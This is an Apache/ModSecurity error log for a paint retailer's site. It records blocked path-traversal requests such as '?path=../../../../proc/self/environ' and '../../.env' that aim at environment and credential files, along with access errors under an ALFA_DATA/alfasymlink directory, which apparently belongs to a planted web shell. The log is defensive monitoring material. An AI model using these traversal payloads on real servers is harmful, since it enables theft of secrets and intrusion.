[Mon Oct 26 14:54:37.684970 2026] [security2:error] [pid 3084028:tid 3084028] [client 34.39.215.232:33216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7TNCW1sIGMJYhKwrNwAAACg"]
[Mon Oct 26 14:54:37.622426 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33384] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7fo8w19imigfk0t9sQAAABg"]
[Mon Oct 26 14:54:37.732953 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33384] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7fo8w19imigfk0t9sQAAABg"]
[Mon Oct 26 14:54:37.733055 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33384] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7fo8w19imigfk0t9sQAAABg"]
[Mon Oct 26 14:54:37.733156 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33384] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7fo8w19imigfk0t9sQAAABg"]
[Mon Oct 26 14:54:37.733866 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33384] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7fo8w19imigfk0t9sQAAABg"]
[Mon Oct 26 14:54:37.734313 2026] [security2:error] [pid 3084004:tid 3084004] [client 34.39.215.232:33384] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7fo8w19imigfk0t9sQAAABg"]
[Mon Oct 26 14:54:37.623158 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:33288] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7WzmSpSsBytZ44hiEgAAAAg"]
[Mon Oct 26 14:54:37.739940 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:33288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7WzmSpSsBytZ44hiEgAAAAg"]
[Mon Oct 26 14:54:37.623238 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7agotfDqarG_U6DokwAAACE"]
[Mon Oct 26 14:54:37.816350 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7agotfDqarG_U6DokwAAACE"]
[Mon Oct 26 14:54:37.816398 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7agotfDqarG_U6DokwAAACE"]
[Mon Oct 26 14:54:37.655570 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7ZSRnBaU6BmTUZTvIgAAABU"]
[Mon Oct 26 14:54:37.835171 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7ZSRnBaU6BmTUZTvIgAAABU"]
[Mon Oct 26 14:54:37.835209 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles?path=../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7ZSRnBaU6BmTUZTvIgAAABU"]
[Mon Oct 26 14:54:37.835282 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:path. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "41"] [id "930120"] [rev "4"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:path: ../../../../proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7ZSRnBaU6BmTUZTvIgAAABU"]
[Mon Oct 26 14:54:37.835725 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7ZSRnBaU6BmTUZTvIgAAABU"]
[Mon Oct 26 14:54:37.836146 2026] [security2:error] [pid 3084002:tid 3084002] [client 34.39.215.232:33368] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=0,RFI=0,LFI=20,RCE=0,PHPI=0,HTTP=0,SESS=0): OS File Access Attempt"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7ZSRnBaU6BmTUZTvIgAAABU"]
[Mon Oct 26 14:54:37.776745 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:33288] ModSecurity: Warning. Matched phrase "../" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "34"] [id "930110"] [rev "1"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /userfiles/x?path=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7WzmSpSsBytZ44hiEgAAAAg"]
[Mon Oct 26 14:54:37.836745 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:33288] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7WzmSpSsBytZ44hiEgAAAAg"]
[Mon Oct 26 14:54:37.837034 2026] [security2:error] [pid 3081088:tid 3081088] [client 34.39.215.232:33288] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles/x"] [unique_id "at-h7WzmSpSsBytZ44hiEgAAAAg"]
[Mon Oct 26 14:54:37.891724 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7agotfDqarG_U6DokwAAACE"]
[Mon Oct 26 14:54:37.927431 2026] [security2:error] [pid 3084021:tid 3084021] [client 34.39.215.232:33160] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7agotfDqarG_U6DokwAAACE"]
[Mon Oct 26 14:54:37.903141 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7RrehvC7c7rdooIrVwAAABs"]
[Mon Oct 26 14:54:37.927995 2026] [security2:error] [pid 3084007:tid 3084007] [client 34.39.215.232:33010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=15,RCE=0,PHPI=0,HTTP=0,SESS=0): Path Traversal Attack (/../)"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/userfiles"] [unique_id "at-h7RrehvC7c7rdooIrVwAAABs"]
[Mon Oct 26 14:54:38.073921 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33308] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "beta.sherwinpinturas.com"] [uri "/api"] [unique_id "at-h7ntG0gh1_iD5Sux2IwAAAAw"]
[Mon Oct 26 14:54:38.074398 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "beta.sherwinpinturas.com"] [uri "/api"] [unique_id "at-h7ntG0gh1_iD5Sux2IwAAAAw"]
[Mon Oct 26 14:54:38.074691 2026] [security2:error] [pid 3083994:tid 3083994] [client 34.39.215.232:33308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "beta.sherwinpinturas.com"] [uri "/api"] [unique_id "at-h7ntG0gh1_iD5Sux2IwAAAAw"]
[Mon Oct 26 14:54:39.797367 2026] [ssl:error] [pid 3083997:tid 3083997] (70014)End of file found: [client 44.223.193.255:15736] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:47.608707 2026] [ssl:error] [pid 3084019:tid 3084019] (70014)End of file found: [client 54.156.55.147:63440] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:50.938414 2026] [ssl:error] [pid 3084034:tid 3084034] (70014)End of file found: [client 3.227.180.70:27072] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:54.910103 2026] [ssl:error] [pid 3084021:tid 3084021] (70014)End of file found: [client 44.215.210.112:12646] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:54:58.922769 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 98.82.66.172:1912] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:03.029157 2026] [ssl:error] [pid 3084062:tid 3084062] (70014)End of file found: [client 34.236.135.14:20158] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:10.830565 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 54.152.163.42:39920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:15.128991 2026] [ssl:error] [pid 3084078:tid 3084078] (70014)End of file found: [client 54.85.126.86:3325] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:24.642466 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 52.45.15.233:10948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:27.576876 2026] [ssl:error] [pid 3084019:tid 3084019] (70014)End of file found: [client 52.5.232.250:7349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:35.166229 2026] [ssl:error] [pid 3064975:tid 3064975] (5)Input/output error: [client 18.232.11.247:44803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:43.704434 2026] [ssl:error] [pid 3084087:tid 3084087] (70014)End of file found: [client 18.213.102.186:6647] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:47.479589 2026] [ssl:error] [pid 3083765:tid 3083765] (70014)End of file found: [client 35.169.119.108:59456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:51.334944 2026] [ssl:error] [pid 3084019:tid 3084019] (70014)End of file found: [client 52.3.156.186:12663] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:55.582187 2026] [ssl:error] [pid 3058816:tid 3058816] (22)Invalid argument: [client 34.225.138.57:45911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:55:55.650743 2026] [core:error] [pid 3084007:tid 3084007] (13)Permission denied: [client 85.208.96.210:54850] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_head_cache/min_partial
[Mon Oct 26 14:56:03.224792 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 18.211.39.188:63911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:56:08.443082 2026] [core:error] [pid 3084019:tid 3084019] (13)Permission denied: [client 85.208.96.193:20128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/objs_per_slab
[Mon Oct 26 14:56:19.371874 2026] [ssl:error] [pid 3084056:tid 3084056] (70014)End of file found: [client 52.73.6.26:61078] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:56:40.545226 2026] [ssl:error] [pid 3084007:tid 3084007] (70014)End of file found: [client 85.208.96.211:31512] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:56:43.306142 2026] [core:error] [pid 3064975:tid 3064975] (13)Permission denied: [client 52.205.222.214:22912] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/subsystem/drivers/ohci-pci/bind
[Mon Oct 26 14:56:47.321729 2026] [core:error] [pid 3084048:tid 3084048] (13)Permission denied: [client 52.23.112.144:8322] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/device:0c/subsystem/devices/PNP0A03:00/device:05/physical_node/driver/0000:00:05.0/remove
[Mon Oct 26 14:56:58.972955 2026] [security2:error] [pid 3074879:tid 3074879] [client 185.191.171.1:49044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/plantas1/simple.html"] [unique_id "at-ieobyDoaPXEcrP3m0KQAAAA4"]
[Mon Oct 26 14:56:58.973032 2026] [security2:error] [pid 3074879:tid 3074879] [client 185.191.171.1:49044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/plantas1/simple.html"] [unique_id "at-ieobyDoaPXEcrP3m0KQAAAA4"]
[Mon Oct 26 14:56:59.366799 2026] [core:error] [pid 3084019:tid 3084019] (13)Permission denied: [client 34.192.125.239:9867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:03/subsystem/drivers_probe
[Mon Oct 26 14:57:03.617063 2026] [ssl:error] [pid 3084053:tid 3084053] (70014)End of file found: [client 34.226.89.140:50077] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:07.349162 2026] [ssl:error] [pid 3064975:tid 3064975] (70014)End of file found: [client 18.232.36.1:62267] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 14:57:11.659764 2026] [ssl:error] [pid 3084080:tid 3084080] (70014)End of file found: [client 100.29.160.53:20593] AH02013: coalesce failed to read from data bucket
